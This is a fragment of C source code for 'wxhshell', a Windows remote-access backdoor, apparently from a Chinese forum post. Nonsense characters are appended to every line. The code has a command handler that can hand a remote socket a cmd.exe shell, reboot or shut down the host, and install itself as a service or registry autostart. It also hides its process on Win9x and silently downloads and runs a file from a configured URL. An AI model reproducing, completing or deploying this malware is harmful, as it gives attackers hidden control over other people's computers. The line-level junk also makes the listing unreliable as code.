  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @W-0ybv  
  } U'@ ![Fp  
  else { ]EdZ,`B4  
B_ bZa  
    switch(cmd[0]) { &cwN&XBY  
  `RXlqj#u  
  // 帮助 ch33+~Nn  
  case '?': { $ i%#fN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {@hJPK8  
    break; RoNE7|gF:  
  } % _nmv  
  // 安装 D~n-;T  
  case 'i': { d .%2QkL  
    if(Install()) /  QT>"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ Y7 Um  
    else g)7@EU2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X0]{8v%  
    break; k/1S7X[  
    } hDXaCift  
  // 卸载 [9G=x[  
  case 'r': { 8*Ty`G&v  
    if(Uninstall()) vIf-TQw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !,]2.:{0z  
    else c#TV2@   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oX7_v_:J\R  
    break; oRZe?h^r#  
    } 5+yy:#J]  
  // 显示 wxhshell 所在路径 '}IGV`c  
  case 'p': { 6-FM<@H{  
    char svExeFile[MAX_PATH]; RK=Pm7L:`y  
    strcpy(svExeFile,"\n\r"); Iw?*y.z|  
      strcat(svExeFile,ExeFile); 0#4A0[vV  
        send(wsh,svExeFile,strlen(svExeFile),0);  \>||  
    break; 2_}oOt?qiM  
    } LXaq  
  // 重启 @saK:z  
  case 'b': { @WNqD*)1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gn<0Fy2  
    if(Boot(REBOOT)) 5p6/dlN-a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f3S 8~!  
    else { ubRhJ~XB  
    closesocket(wsh); 7M8cF>o  
    ExitThread(0); NY|hE@{2.  
    } >~_z#2PA  
    break; _D$1CaAYo  
    } +;4;~>Y  
  // 关机 QAAuFZs  
  case 'd': { yzZzaYv "/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hu.p;A3p;  
    if(Boot(SHUTDOWN)) g#`}HuPoE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e4|a^lS;  
    else { c-_1tSh}  
    closesocket(wsh); R+z'6&/ =I  
    ExitThread(0); Kp^"<%RT  
    } 5h|aX  
    break; ix$ ^1(  
    } #<X4RJ  
  // 获取shell 'T$Cw\F&  
  case 's': { T?RN} @D  
    CmdShell(wsh); -xbs'[  
    closesocket(wsh); c91^7@Xv  
    ExitThread(0); %|D) U>o{  
    break; -}PE(c1%?q  
  } #RbdQH !  
  // 退出 mG$N%`aG  
  case 'x': { l(Dr@LB~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `Ns Q&G  
    CloseIt(wsh); g9CedD%40  
    break; C#e :_e]  
    } zliMG=6  
  // 离开 )Ly ~\*  
  case 'q': { u80C>sQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &*Xrh7K2e  
    closesocket(wsh); d2d8,Vg  
    WSACleanup(); &n6L;y-  
    exit(1); E 0/>E  
    break; [oXSjLQm[  
        } 'IFA>}e7W  
  } _`gkYu3R+  
  } )B+R|PZ,  
("F$r$9S  
  // 提示信息 -2!S>P Zs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :J_UXtx  
} #Hz9@H  
  } ` &bF@$((  
QmSMDWkh  
  return; A FBH(ms't  
} P3-O)m]jv  
o.w/ ?  
// shell模块句柄 SP/b 4  
int CmdShell(SOCKET sock) y10W\beJ  
{ [PB73q8  
STARTUPINFO si; IZm6.F  
ZeroMemory(&si,sizeof(si)); `"PHhCG+z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &@'%0s9g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~@*q8l C  
PROCESS_INFORMATION ProcessInfo;  otfmM]f  
char cmdline[]="cmd"; ](v,2(}=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ah f,- ?S  
  return 0; kZo# Ny  
} w\ 0vP  
+H?g9v40  
// 自身启动模式 VcXr!4 M  
int StartFromService(void) "" >Yw/'  
{ 6" Lyv  
typedef struct Pz[UAJ  
{ mdyl;e{0  
  DWORD ExitStatus; YFPse.2$a  
  DWORD PebBaseAddress; pdER#7Tq  
  DWORD AffinityMask; Fx}v.A5  
  DWORD BasePriority; i7PS=]TK\  
  ULONG UniqueProcessId; 'jMs&  
  ULONG InheritedFromUniqueProcessId; -:p VDxO  
}   PROCESS_BASIC_INFORMATION; ] Ok &%-  
/4OQx0Xmm  
PROCNTQSIP NtQueryInformationProcess;  B9y5NX  
FyWf`XTO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ("ix!\1K@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 38m9t'  
ezbk@no  
  HANDLE             hProcess; -,YI>!  
  PROCESS_BASIC_INFORMATION pbi; DBHHJD/q  
QI U%!9Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rqiH!R  
  if(NULL == hInst ) return 0; rp dv{CUp7  
rPBsr<k#5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); );AtFP0Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E2dS@!]V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lhJY]tQt/  
t#_6GL  
  if (!NtQueryInformationProcess) return 0; f4*(rX  
@(oY.PeS<z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #<B?+gzFM{  
  if(!hProcess) return 0; H.]V-|U  
T^vo9~N*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Og1\6Q  
?Fa$lE4  
  CloseHandle(hProcess); &Ep$<kx8  
VyN F)$'T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Hg\ tj}i  
if(hProcess==NULL) return 0; f/Y7@y  
"PElQBLP:  
HMODULE hMod; 0sKo NzE  
char procName[255]; [ ^\{>m7  
unsigned long cbNeeded; o6|- :u5_/  
lH`c&LL-=!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "Dk@-Ac  
ROfV Y:,M  
  CloseHandle(hProcess); 1|-C(UW>  
-c1-vGW/  
if(strstr(procName,"services")) return 1; // 以服务启动 qGR1$\]  
m*HUT V  
  return 0; // 注册表启动 @ N'P?i  
} a6ryyt 5  
T,a{mi.hNR  
// 主模块 0S;Ipg  
int StartWxhshell(LPSTR lpCmdLine) t4d/%b~{:U  
{ YGM7?o  
  SOCKET wsl; p=eSJ*  
BOOL val=TRUE; "k  
  int port=0; ;nbEV2Y<  
  struct sockaddr_in door; e@vZg8Ie  
Gw-{`<CxE  
  if(wscfg.ws_autoins) Install(); )BI%cD  
.Jg<H %%f  
port=atoi(lpCmdLine); n#WOIweInf  
{wt9/IlG1  
if(port<=0) port=wscfg.ws_port; Gdx %#@/  
*L>usLh  
  WSADATA data; z;@<J8I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s0vcGh#w  
G.iQ\'1_h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MFO%F) 5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;,TT!vea  
  door.sin_family = AF_INET; --TH6j"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n%;tVa  
  door.sin_port = htons(port); g(s}R ?  
{Fyw<0 [@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i=>`=. ~  
closesocket(wsl); ! @Vj&>mH$  
return 1; w^HI lA  
} bOrE86v:  
yGWl8\,j0  
  if(listen(wsl,2) == INVALID_SOCKET) { R6>*n!*D@  
closesocket(wsl); &1=,?s]&  
return 1; Fd80T6[  
} `LIlR8&@aX  
  Wxhshell(wsl); WTt /y\'6  
  WSACleanup(); K^GvU0\  
iH]0 YT.E  
return 0; +JD^5J,-NJ  
>2}*L"YC  
} _f "I%QTL  
I 6<LKI/  
// 以NT服务方式启动 R*W1<W%q=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wV$V X  
{ P&5vVA6K7  
DWORD   status = 0; #q0xlF@  
  DWORD   specificError = 0xfffffff; #\Q)7pgi.  
W0U|XX!&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F/A)2 H_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CnY dj~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4U)%JK.ta  
  serviceStatus.dwWin32ExitCode     = 0; $1)NYsSH/H  
  serviceStatus.dwServiceSpecificExitCode = 0; .g}Y! l  
  serviceStatus.dwCheckPoint       = 0; kIt1kw  
  serviceStatus.dwWaitHint       = 0; PiR`4Tu  
tC f@v'1t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7|"G 3ck  
  if (hServiceStatusHandle==0) return; aa!1w93?i  
b^8"EBo  
status = GetLastError(); _Bn8i(  
  if (status!=NO_ERROR) k^k1>F}yx  
{ (lit^v,9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )F'hn+(B|G  
    serviceStatus.dwCheckPoint       = 0; 7A<}JaE!,  
    serviceStatus.dwWaitHint       = 0; >i61+uzEd+  
    serviceStatus.dwWin32ExitCode     = status; 55>+%@$,a  
    serviceStatus.dwServiceSpecificExitCode = specificError; c No)LF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,<OS: ]  
    return; Wk-. dJ  
  } ND 8;1+3  
b_~KtMO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ' e x/IqbK  
  serviceStatus.dwCheckPoint       = 0; T[0CD'|E  
  serviceStatus.dwWaitHint       = 0; "6?Y$y/wm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rHjR 4q  
} T z+Y_  
MI8c>5?  
// 处理NT服务事件,比如:启动、停止 E*9W'e~=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =`gFwH<   
{ KHaYb5(a[  
switch(fdwControl) u8y('\(  
{ 2@ZuH^qhk  
case SERVICE_CONTROL_STOP: CFY4PuI"!  
  serviceStatus.dwWin32ExitCode = 0; a[lx&CHgI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _@|_`5W  
  serviceStatus.dwCheckPoint   = 0; AucX4J<  
  serviceStatus.dwWaitHint     = 0; &hhxp1B  
  { Rg~[X5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \nVoBW(  
  } _&@cU<bdee  
  return; uk.x1*0x  
case SERVICE_CONTROL_PAUSE: ,?GAFg K:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }T=\hM  
  break; 9'p pb  
case SERVICE_CONTROL_CONTINUE: IifH=%2Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [vCZD8"Y8  
  break; U:IeMf-;  
case SERVICE_CONTROL_INTERROGATE: I)G.tJZ e  
  break; "r{ ^Y??  
}; z]i/hU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m%OX< T!  
} #xrE^Txh  
1g|6,J  
// 标准应用程序主函数 MP8s}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <,T#* fg  
{ @eDL j}  
yucbEDO.  
// 获取操作系统版本 _Q\u-VN*hv  
OsIsNt=GetOsVer(); ><;.vP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QlxlT$o}  
FCYZ9L5uF  
  // 从命令行安装 gJ Z9XLPC  
  if(strpbrk(lpCmdLine,"iI")) Install(); l)1ySX&BU  
Nx(y_.I{K  
  // 下载执行文件 f^XfIH_#  
if(wscfg.ws_downexe) { !r0 z3^*N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /lvH p  
  WinExec(wscfg.ws_filenam,SW_HIDE); U C9w T  
} HR k^KB  
/#?i+z   
if(!OsIsNt) { \V<deMb=  
// 如果时win9x,隐藏进程并且设置为注册表启动 zB{be_Tw  
HideProc(); JvLa@E)  
StartWxhshell(lpCmdLine); :cTwp K  
} Dr"F5Wbg  
else gB#$"mq,  
  if(StartFromService()) y `w5u.'  
  // 以服务方式启动 ;0++):30V  
  StartServiceCtrlDispatcher(DispatchTable); ;,LlOR  
else `\S~;O  
  // 普通方式启动 uwb>q"M  
  StartWxhshell(lpCmdLine); ?Wp{tB9N0  
noNL.%I  
return 0; ~7=w,+  
}
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只看该作者 1 发表于: 2006-10-10
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